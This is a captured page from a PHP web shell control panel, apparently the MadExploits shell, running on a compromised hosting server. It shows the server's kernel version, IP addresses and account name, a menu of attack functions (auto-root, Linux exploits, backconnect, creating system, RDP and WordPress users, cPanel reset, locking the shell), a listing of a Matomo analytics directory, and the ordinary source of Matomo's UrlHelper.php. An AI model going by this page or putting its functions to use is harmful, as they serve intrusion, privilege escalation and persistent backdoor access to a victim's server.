Linux dpw.dpwebtech.com 3.10.0-1160.88.1.el7.x86_64 #1 SMP Tue Mar 7 15:41:52 UTC 2023 x86_64
Apache
: 192.232.243.69 | : 3.16.129.167
54 Domain
7.3.33
dpclient
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
dpclient /
public_html /
analytics /
core /
[ HOME SHELL ]
Name
Size
Permission
Action
API
[ DIR ]
drwxr-xr-x
Access
[ DIR ]
drwxr-xr-x
Application
[ DIR ]
drwxr-xr-x
Archive
[ DIR ]
drwxr-xr-x
ArchiveProcessor
[ DIR ]
drwxr-xr-x
Archiver
[ DIR ]
drwxr-xr-x
AssetManager
[ DIR ]
drwxr-xr-x
Auth
[ DIR ]
drwxr-xr-x
Category
[ DIR ]
drwxr-xr-x
Changes
[ DIR ]
drwxr-xr-x
CliMulti
[ DIR ]
drwxr-xr-x
Columns
[ DIR ]
drwxr-xr-x
Concurrency
[ DIR ]
drwxr-xr-x
Config
[ DIR ]
drwxr-xr-x
Container
[ DIR ]
drwxr-xr-x
CronArchive
[ DIR ]
drwxr-xr-x
DataAccess
[ DIR ]
drwxr-xr-x
DataFiles
[ DIR ]
drwxr-xr-x
DataTable
[ DIR ]
drwxr-xr-x
Db
[ DIR ]
drwxr-xr-x
DeviceDetector
[ DIR ]
drwxr-xr-x
Email
[ DIR ]
drwxr-xr-x
Exception
[ DIR ]
drwxr-xr-x
Http
[ DIR ]
drwxr-xr-x
Intl
[ DIR ]
drwxr-xr-x
Mail
[ DIR ]
drwxr-xr-x
Measurable
[ DIR ]
drwxr-xr-x
Menu
[ DIR ]
drwxr-xr-x
Metrics
[ DIR ]
drwxr-xr-x
Notification
[ DIR ]
drwxr-xr-x
Period
[ DIR ]
drwxr-xr-x
Plugin
[ DIR ]
drwxr-xr-x
ProfessionalServices
[ DIR ]
drwxr-xr-x
Report
[ DIR ]
drwxr-xr-x
ReportRenderer
[ DIR ]
drwxr-xr-x
Scheduler
[ DIR ]
drwxr-xr-x
Segment
[ DIR ]
drwxr-xr-x
Session
[ DIR ]
drwxr-xr-x
Settings
[ DIR ]
drwxr-xr-x
Tracker
[ DIR ]
drwxr-xr-x
Translation
[ DIR ]
drwxr-xr-x
UpdateCheck
[ DIR ]
drwxr-xr-x
Updater
[ DIR ]
drwxr-xr-x
Updates
[ DIR ]
drwxr-xr-x
Validators
[ DIR ]
drwxr-xr-x
View
[ DIR ]
drwxr-xr-x
ViewDataTable
[ DIR ]
drwxr-xr-x
Visualization
[ DIR ]
drwxr-xr-x
Widget
[ DIR ]
drwxr-xr-x
.htaccess
545
B
-rw-r--r--
Access.php
24.89
KB
-rw-r--r--
Archive.php
35.4
KB
-rw-r--r--
ArchiveProcessor.php
26.97
KB
-rw-r--r--
AssetManager.php
15.48
KB
-rw-r--r--
Auth.php
4.03
KB
-rw-r--r--
AuthResult.php
2.13
KB
-rw-r--r--
BaseFactory.php
1.77
KB
-rw-r--r--
Cache.php
3.51
KB
-rw-r--r--
CacheId.php
2.53
KB
-rw-r--r--
CliMulti.php
14.98
KB
-rw-r--r--
Common.php
39.79
KB
-rw-r--r--
Config.php
14.69
KB
-rw-r--r--
Console.php
10.09
KB
-rw-r--r--
Context.php
3.42
KB
-rw-r--r--
Cookie.php
15.12
KB
-rw-r--r--
CronArchive.php
50.69
KB
-rw-r--r--
DataArray.php
17.97
KB
-rw-r--r--
DataTable.php
69.61
KB
-rw-r--r--
Date.php
35.04
KB
-rw-r--r--
Db.php
29.43
KB
-rw-r--r--
DbHelper.php
10.84
KB
-rw-r--r--
Development.php
6.67
KB
-rw-r--r--
ErrorHandler.php
7.55
KB
-rw-r--r--
EventDispatcher.php
6.79
KB
-rw-r--r--
ExceptionHandler.php
7.06
KB
-rw-r--r--
FileIntegrity.php
15.8
KB
-rw-r--r--
Filechecks.php
8.79
KB
-rw-r--r--
Filesystem.php
18.74
KB
-rw-r--r--
FrontController.php
29.31
KB
-rw-r--r--
Http.php
44.42
KB
-rw-r--r--
IP.php
5.08
KB
-rw-r--r--
Log.php
8.14
KB
-rw-r--r--
LogDeleter.php
3.81
KB
-rw-r--r--
Mail.php
9.32
KB
-rw-r--r--
Metrics.php
20.76
KB
-rw-r--r--
NoAccessException.php
398
B
-rw-r--r--
Nonce.php
8.25
KB
-rw-r--r--
Notification.php
5.72
KB
-rw-r--r--
NumberFormatter.php
10
KB
-rw-r--r--
Option.php
8.25
KB
-rw-r--r--
Period.php
13.52
KB
-rw-r--r--
Piwik.php
27.95
KB
-rw-r--r--
Plugin.php
21.52
KB
-rw-r--r--
Profiler.php
13.32
KB
-rw-r--r--
ProxyHeaders.php
2.16
KB
-rw-r--r--
ProxyHttp.php
11.94
KB
-rw-r--r--
QuickForm2.php
3.94
KB
-rw-r--r--
RankingQuery.php
13.06
KB
-rw-r--r--
ReportRenderer.php
8.59
KB
-rw-r--r--
Segment.php
24.24
KB
-rw-r--r--
Sequence.php
3.11
KB
-rw-r--r--
Session.php
8.04
KB
-rw-r--r--
SettingsPiwik.php
18.07
KB
-rw-r--r--
SettingsServer.php
7.58
KB
-rw-r--r--
Singleton.php
1.46
KB
-rw-r--r--
Site.php
17.86
KB
-rw-r--r--
SiteContentDetector.php
14.22
KB
-rw-r--r--
SupportedBrowser.php
2.25
KB
-rw-r--r--
TCPDF.php
1.87
KB
-rw-r--r--
Theme.php
4.93
KB
-rw-r--r--
Timer.php
2.57
KB
-rw-r--r--
Tracker.php
11.79
KB
-rw-r--r--
Twig.php
19.74
KB
-rw-r--r--
Unzip.php
1.28
KB
-rw-r--r--
UpdateCheck.php
3.34
KB
-rw-r--r--
Updater.php
25.08
KB
-rw-r--r--
UpdaterErrorException.php
304
B
-rw-r--r--
Updates.php
3.86
KB
-rw-r--r--
Url.php
25.67
KB
-rw-r--r--
UrlHelper.php
11.24
KB
-rw-r--r--
Version.php
806
B
-rw-r--r--
View.php
18.2
KB
-rw-r--r--
bootstrap.php
2.03
KB
-rw-r--r--
dispatch.php
928
B
-rw-r--r--
testMinimumPhpVersion.php
10.82
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : UrlHelper.php
<?php /** * Matomo - free/libre analytics platform * * @link https://matomo.org * @license http://www.gnu.org/licenses/gpl-3.0.html GPL v3 or later * */ namespace Piwik; use Piwik\Container\StaticContainer; use Piwik\Intl\Data\Provider\RegionDataProvider; /** * Contains less commonly needed URL helper methods. * */ class UrlHelper { private static $validLinkProtocols = [ 'http', 'https', 'tel', 'sms', 'mailto', 'callto', ]; /** * Checks if a string matches/is equal to one of the patterns/strings. * * @static * @param $test String to test. * @param $patterns Array of strings or regexs. * * @return true if $test matches or is equal to one of the regex/string in $patterns, false otherwise. */ protected static function in_array_matches_regex($test, $patterns) { foreach($patterns as $val) { if(@preg_match($val, null) === false) { if( strcasecmp($val, $test) === 0 ) { return true; } } else { if( preg_match($val, $test) === 1 ) { return true; } } } return false; } /** * Converts an array of query parameter name/value mappings into a query string. * Parameters that are in `$parametersToExclude` will not appear in the result. * * @static * @param $queryParameters Array of query parameters, eg, `array('site' => '0', 'date' => '2012-01-01')`. * @param $parametersToExclude Array of query parameter names that shouldn't be * in the result query string, eg, `array('date', 'period')`. * @return string A query string, eg, `"?site=0"`. * @api */ public static function getQueryStringWithExcludedParameters($queryParameters, $parametersToExclude) { $validQuery = ''; $separator = '&'; foreach ($queryParameters as $name => $value) { // decode encoded square brackets $name = str_replace(array('%5B', '%5D'), array('[', ']'), $name); if (!self::in_array_matches_regex(strtolower($name), $parametersToExclude)) { if (is_array($value)) { foreach ($value as $param) { if ($param === false) { $validQuery .= $name . '[]' . $separator; } else { $validQuery .= $name . '[]=' . $param . $separator; } } } elseif ($value === false) { $validQuery .= $name . $separator; } else { $validQuery .= $name . '=' . $value . $separator; } } } $validQuery = substr($validQuery, 0, -strlen($separator)); return $validQuery; } /** * Reduce URL to more minimal form. 2 letter country codes are * replaced by '{}', while other parts are simply removed. * * Examples: * www.example.com -> example.com * search.example.com -> example.com * m.example.com -> example.com * de.example.com -> {}.example.com * example.de -> example.{} * example.co.uk -> example.{} * * @param string $url * @return string */ public static function getLossyUrl($url) { static $countries; if (!isset($countries)) { /** @var RegionDataProvider $regionDataProvider */ $regionDataProvider = StaticContainer::get('Piwik\Intl\Data\Provider\RegionDataProvider'); $countries = implode('|', array_keys($regionDataProvider->getCountryList(true))); } return preg_replace( array( '/^(w+[0-9]*|search)\./', '/(^|\.)m\./', '/(\.(com|org|net|co|it|edu))?\.(' . $countries . ')(\/|$)/', '/(^|\.)(' . $countries . ')\./', ), array( '', '$1', '.{}$4', '$1{}.', ), $url); } /** * Returns true if the string passed may be a URL ie. it starts with protocol://. * We don't need a precise test here because the value comes from the website * tracked source code and the URLs may look very strange. * * @api * @param string $url * @return bool */ public static function isLookLikeUrl($url) { return $url && preg_match('~^(([[:alpha:]][[:alnum:]+.-]*)?:)?//(.*)$~D', $url, $matches) !== 0 && strlen($matches[3]) > 0 && !preg_match('/^(javascript:|vbscript:|data:)/i', $matches[1]) ; } public static function isLookLikeSafeUrl($url) { if (preg_match('/[\x00-\x1F\x7F]/', $url)) { return false; } if (strpos($url, ':') === false) { return true; } $protocol = explode(':', $url, 2)[0]; return preg_match('/^(' . implode('|', self::$validLinkProtocols) . ')$/i', $protocol); } /** * Returns a URL created from the result of the [parse_url](http://php.net/manual/en/function.parse-url.php) * function. * * Copied from the PHP comments at [http://php.net/parse_url](http://php.net/parse_url). * * @param array $parsed Result of [parse_url](http://php.net/manual/en/function.parse-url.php). * @return false|string The URL or `false` if `$parsed` isn't an array. * @api */ public static function getParseUrlReverse($parsed) { if (!is_array($parsed)) { return false; } $uri = !empty($parsed['scheme']) ? $parsed['scheme'] . ':' . (!strcasecmp($parsed['scheme'], 'mailto') ? '' : '//') : ''; $uri .= !empty($parsed['user']) ? $parsed['user'] . (!empty($parsed['pass']) ? ':' . $parsed['pass'] : '') . '@' : ''; $uri .= !empty($parsed['host']) ? $parsed['host'] : ''; $uri .= !empty($parsed['port']) ? ':' . $parsed['port'] : ''; if (!empty($parsed['path'])) { $uri .= (!strncmp($parsed['path'], '/', 1)) ? $parsed['path'] : ((!empty($uri) ? '/' : '') . $parsed['path']); } $uri .= !empty($parsed['query']) ? '?' . $parsed['query'] : ''; $uri .= !empty($parsed['fragment']) ? '#' . $parsed['fragment'] : ''; return $uri; } /** * Returns a URL query string as an array. * * @param string $urlQuery The query string, eg, `'?param1=value1¶m2=value2'`. * @return array eg, `array('param1' => 'value1', 'param2' => 'value2')` * @api */ public static function getArrayFromQueryString($urlQuery) { if (empty($urlQuery)) { return array(); } // TODO: this method should not use a cache. callers should instead have their own cache, configured through DI. // one undesirable side effect of using a cache here, is that this method can now init the StaticContainer, which makes setting // test environment for RequestCommand more complicated. $cache = Cache::getTransientCache(); $cacheKey = 'arrayFromQuery' . $urlQuery; if ($cache->contains($cacheKey)) { return $cache->fetch($cacheKey); } if ($urlQuery[0] == '?') { $urlQuery = substr($urlQuery, 1); } $separator = '&'; $urlQuery = $separator . $urlQuery; // $urlQuery = str_replace(array('%20'), ' ', $urlQuery); $referrerQuery = trim($urlQuery); $values = explode($separator, $referrerQuery); $nameToValue = array(); foreach ($values as $value) { $pos = strpos($value, '='); if ($pos !== false) { $name = substr($value, 0, $pos); $value = substr($value, $pos + 1); if ($value === false) { $value = ''; } } else { $name = $value; $value = false; } if (!empty($name)) { $name = Common::sanitizeInputValue($name); } if (!empty($value)) { $value = Common::sanitizeInputValue($value); } // if array without indexes $count = 0; $tmp = preg_replace('/(\[|%5b)(]|%5d)$/i', '', $name, -1, $count); if (!empty($tmp) && $count) { $name = $tmp; if (isset($nameToValue[$name]) == false || is_array($nameToValue[$name]) == false) { $nameToValue[$name] = array(); } array_push($nameToValue[$name], $value); } elseif (!empty($name)) { $nameToValue[$name] = $value; } } $cache->save($cacheKey, $nameToValue); return $nameToValue; } /** * Returns the value of a single query parameter from the supplied query string. * * @param string $urlQuery The query string. * @param string $parameter The query parameter name to return. * @return string|null Parameter value if found (can be the empty string!), null if not found. * @api */ public static function getParameterFromQueryString($urlQuery, $parameter) { $nameToValue = self::getArrayFromQueryString($urlQuery); if (isset($nameToValue[$parameter])) { return $nameToValue[$parameter]; } return null; } /** * Returns the path and query string of a URL. * * @param string $url The URL. * @return string eg, `/test/index.php?module=CoreHome` if `$url` is `http://piwik.org/test/index.php?module=CoreHome`. * @api */ public static function getPathAndQueryFromUrl($url) { $parsedUrl = parse_url($url); $result = ''; if (isset($parsedUrl['path'])) { if (substr($parsedUrl['path'], 0, 1) == '/') { $parsedUrl['path'] = substr($parsedUrl['path'], 1); } $result .= $parsedUrl['path']; } if (isset($parsedUrl['query'])) { $result .= '?' . $parsedUrl['query']; } return $result; } /** * Returns the query part from any valid url and adds additional parameters to the query part if needed. * * @param string $url Any url eg `"http://example.com/piwik/?foo=bar"` * @param array $additionalParamsToAdd If not empty the given parameters will be added to the query. * * @return string eg. `"foo=bar&foo2=bar2"` * @api */ public static function getQueryFromUrl($url, array $additionalParamsToAdd = array()) { $url = @parse_url($url); $query = ''; if (!empty($url['query'])) { $query .= $url['query']; } if (!empty($additionalParamsToAdd)) { if (!empty($query)) { $query .= '&'; } $query .= Url::getQueryStringFromParameters($additionalParamsToAdd); } return $query; } public static function getHostFromUrl($url) { if (!UrlHelper::isLookLikeUrl($url)) { $url = "http://" . $url; } return parse_url($url, PHP_URL_HOST); } }
Close